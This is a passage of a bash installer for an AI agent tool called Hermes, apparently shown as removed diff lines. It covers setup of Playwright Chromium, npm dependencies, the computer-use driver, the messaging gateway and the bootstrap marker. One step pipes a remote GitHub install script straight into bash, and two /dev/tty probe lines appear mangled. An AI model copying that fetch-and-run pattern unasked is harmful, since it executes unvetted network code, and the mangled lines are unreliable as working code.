back in." - else - log_info "Syncing bundled skills to ~/.hermes/skills/ ..." - if "$INSTALL_DIR/venv/bin/python" "$INSTALL_DIR/tools/skills_sync.py" 2>/dev/null; then - log_success "Skills synced to ~/.hermes/skills/" - else - # Fallback: simple directory copy if Python sync fails - if [ -d "$INSTALL_DIR/skills" ] && [ ! "$(ls -A "$HERMES_HOME/skills/" 2>/dev/null | grep -v '.bundled_manifest')" ]; then - cp -r "$INSTALL_DIR/skills/"* "$HERMES_HOME/skills/" 2>/dev/null || true - log_success "Skills copied to ~/.hermes/skills/" - fi - fi - fi -} - -find_system_browser() { - # Honor ONLY an explicit, user-set AGENT_BROWSER_EXECUTABLE_PATH override. - # - # We deliberately do NOT scan PATH or well-known app locations any more. - # Auto-detection silently bound the install to whatever `command -v chromium` - # resolved to — most damagingly a Snap Chromium (/snap/bin/chromium), whose - # sandbox blocks agent-browser's control socket under /tmp, so every - # browser_navigate hung until the 60s timeout fired ("opening web page - # failed"). Every install now uses the bundled Playwright Chromium unless the - # user explicitly points elsewhere. - local override="${AGENT_BROWSER_EXECUTABLE_PATH:-}" - - if [ -z "$override" ]; then - return 1 - fi - - # A Snap binary is never a valid target — its confinement is the very bug we - # are fixing — so reject it even when set explicitly. - case "$override" in - /snap/*) return 1 ;; - esac - - if [ -x "$override" ]; then - echo "$override" - return 0 - fi - if command -v "$override" >/dev/null 2>&1; then - command -v "$override" - return 0 - fi - - return 1 -} - -strip_snap_browser_override() { - # Existing installs created before the system-browser fallback was dropped - # may carry an auto-written AGENT_BROWSER_EXECUTABLE_PATH pointing at a Snap - # Chromium (/snap/bin/chromium). That path is the root cause of the "opening - # web page failed" hang, and the runtime reads it straight from .env — so - # removing the fallback in the installer is not enough on its own. Strip any - # snap-pointing override here (and its auto-written comment) so the bundled - # Chromium download runs and the agent stops using the broken binary. A - # deliberately-set non-snap override is left untouched. - local env_file="$HERMES_HOME/.env" - - [ -f "$env_file" ] || return 0 - grep -Eq '^AGENT_BROWSER_EXECUTABLE_PATH=/snap/' "$env_file" 2>/dev/null || return 0 - - local tmp - tmp="$(mktemp)" || return 0 - if grep -Ev '^AGENT_BROWSER_EXECUTABLE_PATH=/snap/|^# Hermes Agent browser tools' "$env_file" > "$tmp"; then - mv "$tmp" "$env_file" - log_warn "Removed stale Snap browser override (AGENT_BROWSER_EXECUTABLE_PATH=/snap/...) from $env_file" - log_info "Hermes will use the bundled Chromium instead." - # Drop it from this process too so the rest of the run doesn't re-detect it. - unset AGENT_BROWSER_EXECUTABLE_PATH - else - rm -f "$tmp" - fi -} - -run_browser_install_with_timeout() { - run_with_timeout "$@" -} - -# Run a command with a hard wall-clock timeout, returning non-zero if it is -# killed. Prefers GNU coreutils `timeout` (Linux) or `gtimeout` (macOS via -# Homebrew) for an external-command target; otherwise (and always for a shell -# function target, which the `timeout` binary cannot exec) it uses a pure-shell -# watchdog: launch the command in its own process group, poll until it finishes, -# and SIGTERM (then SIGKILL) the whole group on timeout. The pure-shell path is -# what protects the bug-#39219 case — a stalled Electron download on macOS, -# where `timeout` is usually absent — turning an indefinite hang into a non-zero -# exit so callers (install_desktop) can self-heal via the mirror fallback. -# -# $1 (timeout) must be a bare integer number of seconds — the pure-shell loop -# compares it arithmetically (the `timeout` binary would also accept suffixes -# like 15m, but we normalize so both paths share one contract). On timeout the -# return code is 124, matching GNU `timeout`. -run_with_timeout() { - local timeout_seconds="$1" - shift - - # Normalize to a bare integer; fall back to the desktop default if a caller - # ever passes a suffixed/empty value (the pure-shell loop needs an int). - case "$timeout_seconds" in - ''|*[!0-9]*) timeout_seconds=900 ;; - esac - - # The `timeout` binary can only exec an external command, not a shell - # function. Use it only when the target is NOT a function; functions always - # go through the pure-shell watchdog (which runs them in a subshell of the - # current shell and sees them directly — no fragile env export needed). - if [ "$(type -t "$1" 2>/dev/null)" != "function" ]; then - local timeout_bin="" - if command -v timeout >/dev/null 2>&1; then - timeout_bin="timeout" - elif command -v gtimeout >/dev/null 2>&1; then - timeout_bin="gtimeout" - fi - if [ -n "$timeout_bin" ]; then - # GNU `timeout` runs the command in its own process group, so a - # terminal Ctrl+C is delivered to `timeout` but never reaches the - # child — the download looks frozen and ignores Ctrl+C (#35166). - # `--foreground` keeps the command in the shell's foreground group - # so Ctrl+C reaches it; `-k 10` sends SIGKILL 10s after the deadline - # so a wedged download can't outlive the timeout. Both flags are - # GNU-only — probe once and fall back to plain `timeout` on BusyBox - # (Alpine). When neither binary exists (stock macOS) we drop to the - # pure-shell watchdog below. - if "$timeout_bin" --foreground -k 10 1 true >/dev/null 2>&1; then - "$timeout_bin" --foreground -k 10 "$timeout_seconds" "$@" - else - "$timeout_bin" "$timeout_seconds" "$@" - fi - return $? - fi - fi - - # Pure-shell fallback: run in a new process group so we can kill the whole - # subtree (npm spawns node + the Electron downloader as children). - set -m - ( "$@" ) & - local cmd_pid=$! - set +m - - local waited=0 - local rc - while [ "$waited" -lt "$timeout_seconds" ]; do - if ! kill -0 "$cmd_pid" 2>/dev/null; then - # `|| rc=$?` keeps the non-zero child status without letting `set -e` - # abort the caller here (this would fire if run_with_timeout were - # ever called outside an if/|| context). - rc=0; wait "$cmd_pid" 2>/dev/null || rc=$? - return "$rc" - fi - sleep 1 - waited=$((waited + 1)) - done - - # Final boundary recheck: the command may have finished during the last - # poll interval — don't kill (and mislabel as 124) a process that already - # exited cleanly in the last second of the budget. - if ! kill -0 "$cmd_pid" 2>/dev/null; then - rc=0; wait "$cmd_pid" 2>/dev/null || rc=$? - return "$rc" - fi - - # Timed out: kill the process group (negative PID), escalate to KILL. - kill -TERM "-$cmd_pid" 2>/dev/null || kill -TERM "$cmd_pid" 2>/dev/null || true - sleep 2 - kill -KILL "-$cmd_pid" 2>/dev/null || kill -KILL "$cmd_pid" 2>/dev/null || true - wait "$cmd_pid" 2>/dev/null || true - return 124 -} - -# Return success only when the host is an apt release NEWER than the newest one -# Playwright's platform resolver recognizes — the exact condition that makes -# `playwright install` hang uninterruptibly (#35166). We scope the override -# retry to this case rather than retrying on *any* failure, so a genuine -# network/disk/permission failure doesn't get a mismatched-glibc build forced -# onto it. Newest Playwright-known apt releases as of this writing: Ubuntu -# 24.04, Debian 13. Anything above triggers the fallback; everything Playwright -# already handles (and every non-apt distro) does not. -playwright_host_unrecognized() { - # Compare dotted versions: returns 0 if $1 > $2. - _ver_gt() { - [ "$1" = "$2" ] && return 1 - [ "$(printf '%s\n%s\n' "$1" "$2" | sort -V | tail -n1)" = "$1" ] - } - case "$DISTRO" in - ubuntu) _ver_gt "${DISTRO_VERSION:-0}" "24.04" ;; - debian) _ver_gt "${DISTRO_VERSION:-0}" "13" ;; - *) return 1 ;; # Non-apt or unknown — not the #35166 hang condition. - esac -} - -# Compute the PLAYWRIGHT_HOST_PLATFORM_OVERRIDE value to retry an install with -# when Playwright's platform resolver rejects the host. ubuntu24.04 is the -# newest Linux build Playwright has shipped across recent releases and runs on -# newer apt releases (its binaries are dynamically linked); we point too-new / -# unrecognized hosts at it. Only x64/arm64 Linux have Playwright builds — emit -# nothing for anything else so the caller skips the retry. Echoes the value -# (e.g. "ubuntu24.04-x64") or nothing. -playwright_fallback_platform() { - case "$(uname -m)" in - x86_64|amd64) echo "ubuntu24.04-x64" ;; - aarch64|arm64) echo "ubuntu24.04-arm64" ;; - *) : ;; # No Playwright Linux build for this arch. - esac -} - -# Run a `playwright install ...` command, and if it fails or hangs (the -# uninterruptible "Installing Playwright Chromium with system dependencies" -# stall on apt releases Playwright doesn't recognize yet — Ubuntu 26.04, -# Debian 14, future distros — see #35166), retry it ONCE with -# PLAYWRIGHT_HOST_PLATFORM_OVERRIDE pinned to the newest known build. -# -# The override retry is scoped to the actual hang condition: it fires only when -# the host is an apt release NEWER than Playwright recognizes -# (playwright_host_unrecognized). On every release Playwright already supports -# (Ubuntu <=24.04, Debian <=13) and every non-apt distro, the first attempt is -# authoritative and a failure is reported as-is — we never force a -# mismatched-glibc build (microsoft/playwright#35114) onto a host Playwright -# handles correctly. This is deliberately narrower than a retry-on-any-failure: -# a network/disk/permission error on a supported host should surface, not get -# papered over with a platform override. Playwright's maintainers bless this -# env var as the supported escape hatch for unrecognized platforms -# (microsoft/playwright#33434); a hardcoded full distro/version table was -# rejected upstream (microsoft/playwright#33432), so we only need the -# newest-known floor here. -# -# An operator-provided PLAYWRIGHT_HOST_PLATFORM_OVERRIDE is always respected: -# it is inherited by the first attempt, and the retry is skipped. -# -# Usage: run_playwright_install npx playwright install [args...] -run_playwright_install() { - local timeout_seconds="$1" - shift - - # First attempt: native platform resolution (inherits any operator override). - if run_browser_install_with_timeout "$timeout_seconds" "$@" 2>/dev/null; then - return 0 - fi - - # Operator already pinned the platform — their choice already applied to the - # attempt above; a second identical run won't help. - if [ -n "${PLAYWRIGHT_HOST_PLATFORM_OVERRIDE:-}" ]; then - return 1 - fi - - # Only retry with an override on the apt releases too new for Playwright to - # recognize (the #35166 hang). Any other failure is a real failure and is - # surfaced unchanged. - if ! playwright_host_unrecognized; then - return 1 - fi - - local fallback - fallback="$(playwright_fallback_platform)" - if [ -z "$fallback" ]; then - return 1 # No usable fallback build for this arch. - fi - - log_warn "Playwright doesn't recognize ${DISTRO} ${DISTRO_VERSION} yet — retrying with PLAYWRIGHT_HOST_PLATFORM_OVERRIDE=$fallback" - log_info "(apt releases newer than Playwright knows hang at this step; see #35166)" - PLAYWRIGHT_HOST_PLATFORM_OVERRIDE="$fallback" \ - run_browser_install_with_timeout "$timeout_seconds" "$@" -} - -configure_browser_env_from_system_browser() { - local env_file="$HERMES_HOME/.env" - local browser_path="${DETECTED_BROWSER_EXECUTABLE:-}" - - if [ -z "$browser_path" ]; then - browser_path="$(find_system_browser 2>/dev/null || true)" - fi - - if [ -z "$browser_path" ]; then - return 0 - fi - - mkdir -p "$HERMES_HOME" - if [ ! -f "$env_file" ]; then - touch "$env_file" - fi - - if grep -q '^AGENT_BROWSER_EXECUTABLE_PATH=' "$env_file" 2>/dev/null; then - log_info "AGENT_BROWSER_EXECUTABLE_PATH already configured" - return 0 - fi - - { - echo "" - echo "# Hermes Agent browser tools — explicit browser override." - echo "AGENT_BROWSER_EXECUTABLE_PATH=$browser_path" - } >> "$env_file" - log_success "Configured browser tools to use $browser_path" -} - -install_node_deps() { - if [ "$HAS_NODE" = false ]; then - log_info "Skipping Node.js dependencies (Node not installed)" - return 0 - fi - - if [ "$DISTRO" = "termux" ]; then - log_info "Skipping automatic Node/browser dependency setup on Termux" - log_info "Browser automation is not part of the tested Termux install path yet." - log_info "If you want to experiment manually later, run: cd $INSTALL_DIR && npm install" - return 0 - fi - - if [ -f "$INSTALL_DIR/package.json" ]; then - log_info "Installing Node.js dependencies (browser tools)..." - cd "$INSTALL_DIR" - # Time-boxed: a stalled registry fetch would otherwise hang here with no - # progress (same #39219 stall class as the desktop build below). - # A failed npm install used to still print "✓ Node.js dependencies - # installed", hiding the degradation from the user (#77003). Now it - # fails the install outright instead of burying the warning (#85297). - # Capture npm output so failures are diagnosable (#87340). - local npm_log - npm_log="$(mktemp)" - if ! run_with_timeout "$NODE_DEPS_TIMEOUT" npm install --silent \ - >"$npm_log" 2>&1; then - log_error "npm install failed or timed out; Node.js dependencies were not installed" - if [ -s "$npm_log" ]; then - log_error "npm output:" - cat "$npm_log" >&2 - fi - rm -f "$npm_log" - restore_dirty_lockfiles "$INSTALL_DIR" - return 1 - fi - rm -f "$npm_log" - log_success "Node.js dependencies installed" - - # Install Playwright browser + system dependencies. - # Playwright's --with-deps only supports apt-based systems natively. - # For Arch/Manjaro we install the system libs via pacman first. - # Other systems must install Chromium dependencies manually. - if [ "$SKIP_BROWSER" = true ]; then - log_info "Skipping Playwright/Chromium install (--skip-browser)" - log_info "Browser tools will be unavailable until you run manually:" - log_info " cd $INSTALL_DIR && npx playwright install chromium" - log_info "On apt-based systems, an admin also needs to run:" - log_info " sudo npx playwright install-deps chromium" - else - log_info "Installing browser engine (Playwright Chromium)..." - strip_snap_browser_override - DETECTED_BROWSER_EXECUTABLE="$(find_system_browser 2>/dev/null || true)" - if [ -n "$DETECTED_BROWSER_EXECUTABLE" ]; then - log_success "Using explicit browser override: $DETECTED_BROWSER_EXECUTABLE" - log_info "Skipping bundled Chromium download (AGENT_BROWSER_EXECUTABLE_PATH is set)." - else - case "$DISTRO" in - ubuntu|debian|raspbian|pop|linuxmint|elementary|zorin|kali|parrot) - # Use --with-deps only when sudo is available non-interactively - # (root, or a user with passwordless sudo). Non-sudo users - # — typical for systemd service accounts and unprivileged - # operator users — would otherwise get blocked on an - # interactive sudo prompt that they can't satisfy. Fall back - # to the browser-only install in that case, and print the - # exact command the admin needs to run separately. - if [ "$(id -u)" -eq 0 ] || (command -v sudo >/dev/null 2>&1 && sudo -n true 2>/dev/null); then - log_info "Installing Playwright Chromium with system dependencies..." - cd "$INSTALL_DIR" && run_playwright_install 600 npx playwright install --with-deps chromium || { - log_warn "Playwright browser installation failed — browser tools will not work." - log_warn "Try running manually: cd $INSTALL_DIR && npx playwright install --with-deps chromium" - } - else - log_warn "No sudo available — skipping system-library install (--with-deps)." - log_info "Ask an administrator to run, one time, as root:" - log_info " sudo npx playwright install-deps chromium" - log_info " (from $INSTALL_DIR, after Node.js deps are installed)" - log_info "Installing Chromium binary into this user's Playwright cache..." - cd "$INSTALL_DIR" && run_playwright_install 600 npx playwright install chromium || { - log_warn "Playwright browser installation failed — browser tools will not work." - log_warn "Try running manually: cd $INSTALL_DIR && npx playwright install chromium" - } - fi - ;; - arch|manjaro|cachyos|endeavouros|garuda) - if command -v pacman &> /dev/null; then - log_info "Arch-family distro detected — installing Chromium system dependencies via pacman..." - if command -v sudo &> /dev/null && sudo -n true 2>/dev/null; then - sudo NEEDRESTART_MODE=a pacman -S --noconfirm --needed \ - nss atk at-spi2-core cups libdrm libxkbcommon mesa pango cairo alsa-lib >/dev/null 2>&1 || true - elif [ "$(id -u)" -eq 0 ]; then - pacman -S --noconfirm --needed \ - nss atk at-spi2-core cups libdrm libxkbcommon mesa pango cairo alsa-lib >/dev/null 2>&1 || true - else - log_warn "Cannot install browser deps without sudo. Run manually:" - log_warn " sudo pacman -S nss atk at-spi2-core cups libdrm libxkbcommon mesa pango cairo alsa-lib" - fi - fi - cd "$INSTALL_DIR" && run_playwright_install 600 npx playwright install chromium || { - log_warn "Playwright browser installation failed — browser tools will not work." - } - ;; - fedora|rhel|centos|rocky|alma) - log_warn "Playwright does not support automatic dependency installation on RPM-based systems." - log_info "Install Chromium system dependencies manually before using browser tools:" - log_info " sudo dnf install nss atk at-spi2-core cups-libs libdrm libxkbcommon mesa-libgbm pango cairo alsa-lib" - cd "$INSTALL_DIR" && run_playwright_install 600 npx playwright install chromium || { - log_warn "Playwright browser installation failed — install dependencies above and retry." - } - ;; - opensuse*|sles) - log_warn "Playwright does not support automatic dependency installation on zypper-based systems." - log_info "Install Chromium system dependencies manually before using browser tools:" - log_info " sudo zypper install mozilla-nss libatk-1_0-0 at-spi2-core cups-libs libdrm2 libxkbcommon0 Mesa-libgbm1 pango cairo libasound2" - cd "$INSTALL_DIR" && run_playwright_install 600 npx playwright install chromium || { - log_warn "Playwright browser installation failed — install dependencies above and retry." - } - ;; - *) - log_warn "Playwright does not support automatic dependency installation on $DISTRO." - log_info "Install Chromium/browser system dependencies for your distribution, then run:" - log_info " cd $INSTALL_DIR && npx playwright install chromium" - log_info "Browser tools will not work until dependencies are installed." - cd "$INSTALL_DIR" && run_playwright_install 600 npx playwright install chromium || true - ;; - esac - fi - fi - log_success "Browser engine setup complete" - fi - - # Install TUI dependencies - if [ -f "$INSTALL_DIR/ui-tui/package.json" ]; then - log_info "Installing TUI dependencies..." - cd "$INSTALL_DIR/ui-tui" - # Time-boxed: a stalled registry fetch would otherwise hang here (#39219). - # Report success only on actual success, same as node-deps above - # (#77003) — and fail the install outright (#85297). - # Capture npm output so failures are diagnosable (#87340). - local tui_npm_log - tui_npm_log="$(mktemp)" - if ! run_with_timeout "$NODE_DEPS_TIMEOUT" npm install --silent \ - >"$tui_npm_log" 2>&1; then - log_error "TUI npm install failed or timed out; TUI dependencies were not installed" - if [ -s "$tui_npm_log" ]; then - log_error "npm output:" - cat "$tui_npm_log" >&2 - fi - rm -f "$tui_npm_log" - restore_dirty_lockfiles "$INSTALL_DIR" - return 1 - fi - rm -f "$tui_npm_log" - log_success "TUI dependencies installed" - fi - - # Keep the checkout clean so `hermes update` doesn't autostash every run. - restore_dirty_lockfiles "$INSTALL_DIR" -} - -install_browser_use_cli() { - # The Browser Use CLI is the default browser backend when it is runnable - # (tools/browser_use_cli.py). Provision it here so fresh installs don't - # silently fall back to the built-in browser tools. Best-effort: any - # failure is non-fatal because browser_exec can still run via uvx and - # `hermes tools` can install it later. - if [ "$SKIP_BROWSER" = true ]; then - log_info "Skipping Browser Use CLI install (--skip-browser)" - return 0 - fi - if [ "$DISTRO" = "termux" ]; then - return 0 - fi - if [ -z "$UV_CMD" ]; then - log_info "Skipping Browser Use CLI install (uv unavailable)" - return 0 - fi - # MANAGED-FIRST: only Hermes' managed copy short-circuits. A browser-use - # on the user's PATH is a side install — resolution prefers the managed - # copy, so it must be provisioned regardless. - if [ -x "$HERMES_HOME/bin/browser-use" ]; then - log_success "Browser Use CLI already installed" - return 0 - fi - - log_info "Installing Browser Use CLI (default browser backend)..." - # UV_TOOL_BIN_DIR keeps the binary inside Hermes' managed bin dir, where - # the browser tool resolves it — no reliance on the user's PATH. - if run_with_timeout 600 env UV_NO_CONFIG=1 UV_TOOL_BIN_DIR="$HERMES_HOME/bin" \ - "$UV_CMD" tool install browser-use >/dev/null 2>&1; then - log_success "Browser Use CLI installed" - else - log_warn "Browser Use CLI install failed — browser automation falls back to built-in tools." - log_info "Install later with: $UV_CMD tool install browser-use (or via 'hermes tools')" - fi -} - -cua_driver_runtime_compatible() { - local driver_path version_output manifest_output - local major minor - driver_path="$(command -v cua-driver 2>/dev/null)" || return 1 - version_output="$("$driver_path" --version 2>/dev/null)" || return 1 - if [[ ! "$version_output" =~ ([0-9]+)\.([0-9]+)\.([0-9]+) ]]; then - return 1 - fi - major="${BASH_REMATCH[1]}" - minor="${BASH_REMATCH[2]}" - if (( major == 0 && minor < 20 )); then - return 1 - fi - manifest_output="$("$driver_path" manifest 2>/dev/null)" || return 1 - local required - for required in \ - '"mcp_invocation"' \ - '"--socket"' \ - '"--grant"' \ - '"--permission-mode"' \ - '"--capability-manifest"' \ - '"--approve-capability-manifest"' \ - '"--embedded"'; do - case "$manifest_output" in - *"$required"*) ;; - *) return 1 ;; - esac - done - return 0 -} - -install_computer_use_driver() { - # cua-driver powers the computer_use toolset (background desktop control). - # Provision it at install time so enabling the tool later — via - # `hermes tools`, the dashboard, or the desktop app — is a config flip, - # not a surprise multi-minute binary fetch (the confusion this fixes: - # users had to discover `hermes computer-use install` on their own). - # Best-effort and non-fatal: the enable paths still lazy-install via - # install_cua_driver() when this step was skipped or failed. - if [ "$SKIP_COMPUTER_USE" = true ]; then - log_info "Skipping Computer Use (cua-driver) install (--skip-computer-use)" - return 0 - fi - case "$DISTRO" in - termux) - return 0 - ;; - esac - if command -v cua-driver >/dev/null 2>&1; then - if cua_driver_runtime_compatible; then - log_success "Computer Use driver (cua-driver) already installed and compatible" - return 0 - fi - log_warn "Existing cua-driver is old or incomplete; repairing it" - fi - # Non-admin macOS accounts can't receive the CuaDriver.app bundle in - # /Applications; skip cleanly instead of failing loudly (#47865 class). - if [ "$(uname -s)" = "Darwin" ] && [ -d /Applications ] && [ ! -w /Applications ]; then - log_info "Skipping Computer Use driver (cua-driver): /Applications is not writable" - return 0 - fi - - log_info "Installing Computer Use driver (cua-driver)..." - # Same upstream installer `hermes computer-use install` runs; time-boxed - # so a stalled GitHub download can't hang the Hermes install. The - # upstream installer serializes with its own lock (600s stale window), - # so give it a ceiling above that — matching Hermes' - # _CUA_INSTALLER_TIMEOUT (660s). - local cua_log - cua_log="$(mktemp)" - if run_with_timeout 660 /bin/bash -c \ - 'curl -fsSL https://raw.githubusercontent.com/trycua/cua/main/libs/cua-driver/scripts/install.sh | /bin/bash' \ - >"$cua_log" 2>&1; then - log_success "Computer Use driver installed (enable via 'hermes tools' → Computer Use)" - else - log_warn "Computer Use driver install failed — it will install on demand when you enable the tool." - log_info "Install later with: hermes computer-use install" - tail -n 5 "$cua_log" >&2 || true - fi - rm -f "$cua_log" -} - -run_setup_wizard() { - if [ "$RUN_SETUP" = false ]; then - log_info "Skipping setup wizard (--skip-setup)" - return 0 - fi - - # The setup wizard reads from /dev/tty, so it works even when the - # install script itself is piped (curl | bash). Only skip if no - # terminal is available at all (e.g. Docker build, CI). - # - # Probe by actually opening /dev/tty: a bare existence test passes - # in Docker builds where the device node is in the mount namespace - # but opening fails with ENXIO, so the wizard would proceed and - # then crash on `< /dev/tty` below. - if ! (: /dev/null; then - log_info "Setup wizard skipped (no terminal available). Run 'hermes setup' after install." - return 0 - fi - - echo "" - log_info "Starting setup wizard..." - echo "" - - cd "$INSTALL_DIR" - - # Run hermes setup using the venv Python directly (no activation needed). - # Redirect stdin from /dev/tty so interactive prompts work when piped from curl. - if [ "$USE_VENV" = true ]; then - "$INSTALL_DIR/venv/bin/python" -m hermes_cli.main setup < /dev/tty - else - python -m hermes_cli.main setup < /dev/tty - fi -} - -maybe_start_gateway() { - # Check if any messaging platform tokens were configured - ENV_FILE="$HERMES_HOME/.env" - if [ ! -f "$ENV_FILE" ]; then - return 0 - fi - - HAS_MESSAGING=false - for VAR in TELEGRAM_BOT_TOKEN DISCORD_BOT_TOKEN SLACK_BOT_TOKEN SLACK_APP_TOKEN WHATSAPP_ENABLED; do - VAL=$(grep "^${VAR}=" "$ENV_FILE" 2>/dev/null | cut -d'=' -f2-) - if [ -n "$VAL" ] && [ "$VAL" != "your-token-here" ]; then - HAS_MESSAGING=true - break - fi - done - - if [ "$HAS_MESSAGING" = false ]; then - return 0 - fi - - echo "" - log_info "Messaging platform token detected!" - log_info "The gateway needs to be running for Hermes to send/receive messages." - - # If WhatsApp is enabled and no session exists yet, run foreground first for QR scan - WHATSAPP_VAL=$(grep "^WHATSAPP_ENABLED=" "$ENV_FILE" 2>/dev/null | cut -d'=' -f2-) - WHATSAPP_SESSION="$HERMES_HOME/whatsapp/session/creds.json" - if [ "$WHATSAPP_VAL" = "true" ] && [ ! -f "$WHATSAPP_SESSION" ]; then - if [ "$IS_INTERACTIVE" = true ]; then - echo "" - log_info "WhatsApp is enabled but not yet paired." - log_info "Running 'hermes whatsapp' to pair via QR code..." - echo "" - if prompt_yes_no "Pair WhatsApp now?" "yes"; then - HERMES_CMD="$(get_hermes_command_path)" - $HERMES_CMD whatsapp || true - fi - else - log_info "WhatsApp pairing skipped (non-interactive). Run 'hermes whatsapp' to pair." - fi - fi - - # Probe by actually opening /dev/tty: a bare existence test passes - # in Docker builds where the device node is in the mount namespace - # but opening fails with ENXIO. See #16746. - if ! (: /dev/null; then - log_info "Gateway setup skipped (no terminal available). Run 'hermes gateway install' later." - return 0 - fi - - echo "" - local should_install_gateway=false - if [ "$DISTRO" = "termux" ]; then - if prompt_yes_no "Would you like to start the gateway in the background?" "yes"; then - should_install_gateway=true - fi - else - if prompt_yes_no "Would you like to install the gateway as a background service?" "yes"; then - should_install_gateway=true - fi - fi - - if [ "$should_install_gateway" = true ]; then - HERMES_CMD="$(get_hermes_command_path)" - - if [ "$DISTRO" != "termux" ] && command -v systemctl &> /dev/null; then - log_info "Installing systemd service..." - if $HERMES_CMD gateway install 2>/dev/null; then - log_success "Gateway service installed" - if $HERMES_CMD gateway start 2>/dev/null; then - log_success "Gateway started! Your bot is now online." - else - log_warn "Service installed but failed to start. Try: hermes gateway start" - fi - else - log_warn "Systemd install failed. You can start manually: hermes gateway" - fi - else - if [ "$DISTRO" = "termux" ]; then - log_info "Termux detected — starting gateway in best-effort background mode..." - else - log_info "systemd not available — starting gateway in background..." - fi - nohup $HERMES_CMD gateway > "$HERMES_HOME/logs/gateway.log" 2>&1 & - GATEWAY_PID=$! - log_success "Gateway started (PID $GATEWAY_PID). Logs: ~/.hermes/logs/gateway.log" - log_info "To stop: kill $GATEWAY_PID" - log_info "To restart later: hermes gateway" - if [ "$DISTRO" = "termux" ]; then - log_warn "Android may stop background processes when Termux is suspended or the system reclaims resources." - fi - fi - else - log_info "Skipped. Start the gateway later with: hermes gateway" - fi -} - -write_bootstrap_marker() { - # Writes $INSTALL_DIR/.hermes-bootstrap-complete, which tells the Hermes - # desktop app (apps/desktop/electron/main.ts) and the macOS launcher fast - # path (apps/bootstrap-installer) "a real install finished here -- don't - # re-run first-run bootstrap." - # - # Schema mirrors install.ps1's Write-BootstrapMarker and main.ts's - # writeBootstrapMarker(). Keep the three in lockstep: - # schemaVersion 1 + pinnedCommit (length >= 7) are what the desktop - # validator requires; desktopVersion is omitted because only the desktop - # app knows its own version. - if [ ! -d "$INSTALL_DIR" ]; then - log_warn "Skipping bootstrap marker: $INSTALL_DIR doesn't exist" - return 0 - fi - - # Explicit --commit wins; otherwise read HEAD from the checkout we just - # installed. If neither resolves, skip the marker entirely rather than - # write one the desktop will reject -- an absent marker is a clean - # "bootstrap needed", a malformed one is a confusing half-state. - local pinned_commit="$INSTALL_COMMIT" - if [ -z "$pinned_commit" ]; then - pinned_commit=$(git -C "$INSTALL_DIR" rev-parse HEAD 2>/dev/null) || pinned_commit="" - fi - - if [ -z "$pinned_commit" ]; then - log_warn "Skipping bootstrap marker: could not resolve HEAD in $INSTALL_DIR" - return 0 - fi - - local marker_path="$INSTALL_DIR/.hermes-bootstrap-complete" - local tmp_path="$marker_path.tmp" - - # Atomic publish: the macOS launcher predicate only checks existence, so a - # torn write would arm the fast path against a half-written marker. - printf '{\n "schemaVersion": 1,\n "pinnedCommit": "%s",\n "pinnedBranch": "%s",\n "completedAt": "%s"\n}\n' \ - "$pinned_commit" \ - "$BRANCH" \ - "$(date -u +%Y-%m-%dT%H:%M:%S.000Z)" > "$tmp_path" - mv -f "$tmp_path" "$marker_path" -} - -print_success() { - echo "" - echo -e "${GREEN}${BOLD}" - echo "┌─────────────────────────────────────────────────────────┐" - echo "│ ✓ Installation Complete! │" - echo "└─────────────────────────────────────────────────────────┘" - echo -e "${NC}" - echo "" - - # Show file locations - echo -e "${CYAN}${BOLD}📁 Your files:${NC}" - echo "" - echo -e " ${YELLOW}Config:${NC} $HERMES_HOME/config.yaml" - echo -e " ${YELLOW}API Keys:${NC} $HERMES_HOME/.env" - echo -e " ${YELLOW}Data:${NC} $HERMES_HOME/cron/, sessions/, logs/" - echo -e " ${YELLOW}Code:${NC} $INSTALL_DIR" - echo "" - - echo -e "${CYAN}─────────────────────────────────────────────────────────${NC}" - echo "" - echo -e "${CYAN}${BOLD}🚀 Commands:${NC}" - echo "" - echo -e " ${GREEN}hermes${NC} Start chatting" - echo -e " ${GREEN}hermes setup${NC} Configure API keys & settings" - echo -e " ${GREEN}hermes config${NC} View/edit configuration" - echo -e " ${GREEN}hermes config edit${NC} Open config in editor" - echo -e " ${GREEN}hermes gateway install${NC} Install gateway service (messaging + cron)" - echo -e " ${GREEN}hermes update${NC} Update to latest version" - echo "" - - echo -e "${CYAN}─────────────────────────────────────────────────────────${NC}" - echo "" - if [ "$DISTRO" = "termux" ]; then - echo -e "${YELLOW}⚡ 'hermes' was linked into $(get_command_link_display_dir), which is already on PATH in Termux.${NC}" - echo "" - elif [ "$ROOT_FHS_LAYOUT" = true ]; then - echo -e "${YELLOW}⚡ 'hermes' was linked into /usr/local/bin and is ready to use — no shell reload needed.${NC}" - echo "" - else - echo -e "${YELLOW}⚡ Reload your shell to use 'hermes' command:${NC}" - echo "" - LOGIN_SHELL="$(basename "${SHELL:-/bin/bash}")" - if [ "$LOGIN_SHELL" = "zsh" ]; then - echo " source ~/.zshrc" - elif [ "$LOGIN_SHELL" = "bash" ]; then - echo " source ~/.bashrc" - elif [ "$LOGIN_SHELL" = "fish" ]; then - echo " source ~/.config/fish/config.fish" - else - echo " source ~/.bashrc # or ~/.zshrc" - fi - echo "" - fi - - # Show Node.js warning if auto-install failed - if [ "$HAS_NODE" = false ]; then - echo -e "${YELLOW}" - echo "Note: Node.js could not be installed automatically." - echo "Browser tools need Node.js. Install manually:" - if [ "$DISTRO" = "termux" ]; then - echo " pkg install nodejs" - else - echo " https://nodejs.org/en/download/" - fi - echo -e "${NC}" - fi - - # Show ripgrep note if not installed - if [ "$HAS_RIPGREP" = false ]; then - echo -e "${YELLOW}" - echo "Note: ripgrep (rg) was not found. File search will use" - echo "grep as a fallback. For faster search in large codebases," - if [ "$DISTRO" = "termux" ]; then - echo "install ripgrep: pkg install ripgrep" - else - echo "install ripgrep: sudo apt install ripgrep (or brew install ripgrep)" - fi - echo -e "${NC}" - fi -} - -ensure_browser() { - if ! command -v node >/dev/null 2>&1; then - local node_bin="$HERMES_HOME/node/bin/node" - if [ -x "$node_bin" ]; then - export PATH="$HERMES_HOME/node/bin:$PATH" - else - log_error "Node.js not found. Run with --ensure node first." - return 1 - fi - fi - - local npm_bin - npm_bin="$(command -v npm 2>/dev/null || echo "$HERMES_HOME/node/bin/npm")" - if [ ! -x "$npm_bin" ]; then - log_error "npm not found" - return 1 - fi - - # agent-browser itself is intentionally NOT installed here (#43564 / - # PR #44772 review): it resolves lazily via `npx agent-browser` instead, - # which every consumer (tools/browser_tool.py, `hermes update`'s npx - # cache warm) already goes through. Eagerly npm-installing a second, - # separately version-pinned copy here -- only reachable via this - # explicit --ensure browser fallback in the first place -- was redundant - # complexity and an extra credential/supply-chain surface for a path - # npx already covers. - log_info "Installing camofox browser server..." - local log_file - log_file="$(mktemp)" - # Time-boxed (#39219): a stalled npm registry fetch here would otherwise - # 